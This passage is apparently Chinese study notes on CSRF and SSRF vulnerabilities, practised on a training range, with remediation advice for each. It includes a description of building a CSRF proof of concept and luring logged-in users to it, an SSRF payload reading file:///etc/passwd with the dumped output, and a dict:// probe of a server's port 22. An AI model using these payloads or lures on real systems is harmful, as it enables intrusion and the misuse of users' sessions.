4.6 CSRF漏洞
CSRF(Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行也难以防范。
4.6.2 利用CSRF漏洞
一种理解:攻击者利用目标用户的身份,以目标用户的名义执行某些非法操作。
CSRF的攻击过程有以下两个重点:
- 目标用户已经登录了网站,能够执行网站的功能
- 目标用户访问了攻击者构造的URL
CSRF漏洞经常被用来制作蠕虫攻击、刷SEO流量(解释:https://wenda.so.com/q/1534477164214915?src=140)等。
以蠕虫攻击为例,利用Burp Suite抓包:
靶场:https://www.bihuoedu.com/vul/csrf/csrfget/csrf_get.php
注意:之前抓包火狐浏览器出现问题。。。。。耗费较长时间
抓包有:
右键--->Engagement tools--->General CSRF PoC,即为CSRF漏洞的测试代码,单击Copy Html
将代码发布到一个网站中,诱导模板用户访问,当目标用户处于登录状态,并且在同一浏览器访问了该网址后,目标用户就会自动修改信息。。。。
想到了之前 QQ空间多出的莫名说说。。。
4.6.5 CSRF漏洞修复建议
- 1 验证请求的Referer值,如果Referer是以自己的网站开头的域名,则说明该请求来自网站自己是合法的。若是其他网站域名或空白,就有可能是CSRF攻击,则服务器一个拒绝请求。
- 2 关键在于:在请求中放入攻击者不能伪造的信息。例如,在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端验证token。
4.7 SSRF漏洞
SSRF(Sever-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况,SSRF攻击的目标是外网无法访问的内部系统。
攻击者利用ssrf可以实现的攻击主要有5种:
- 1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
- 2.攻击运行在内网或本地的应用程序(比如溢出);
- 3.对内网web应用进行指纹识别,通过访问默认文件实现;
- 4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
- 5.利用file协议读取本地文件等
4.7.3 SSRF漏洞利用
原理:形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制。
目标:https://www.bihuoedu.com/vul/ssrf/ssrf_curl.php
先了解以下PHP中curl的用法:https://www.runoob.com/php/php-ref-curl.html
首先修改url:
说明211.149.128.208存在MySQL服务,再修改如下:
此时才是方向:。。首先利用 file:///etc/passwd
输出内容 :
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:997:User for polkitd:/:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin mysql:x:27:27::/dev/null:/sbin/nologin www:x:1000:1000::/dev/null:/sbin/nologin 1
上面已经获取信息
利用dict://211.149.128.208:22,
Gopher是一个互联网上使用的分布型的文件搜集获取网络协议。
4.7.5 漏洞修复建议
- 限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求
- 限制不能访问内网的ip,以以防止对内网进行攻击
- 屏蔽返回的详细信息